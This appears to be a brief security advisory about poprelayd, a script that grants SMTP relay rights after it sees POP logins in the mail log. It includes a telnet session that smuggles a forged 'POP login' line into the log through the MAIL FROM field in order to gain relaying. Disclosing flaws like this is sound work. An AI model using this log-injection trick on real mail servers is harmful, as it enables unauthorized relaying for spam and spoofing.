poprelayd is a script that parses /var/log/maillog for valid pop logins, and based upon the login of a client, allows the person logged into the pop3 service to also send email from the ip address they're accessing the system with.
poprelayd doesn't authenticate output to the /var/log/maillog file. This makes it possible for a user to create an arbitrary string via sendmail that will be logged to the file, thus allowing a remote user to relay mail through the SMTP server.
telnet dumbcobalt 25
Connected to dumbcobalt
mail from:"POP login by user "admin" at (18.104.22.168) 22.214.171.124
553 "POP login by user "admin" at (126.96.36.199) 188.8.131.52
@linux.org"...Domain name required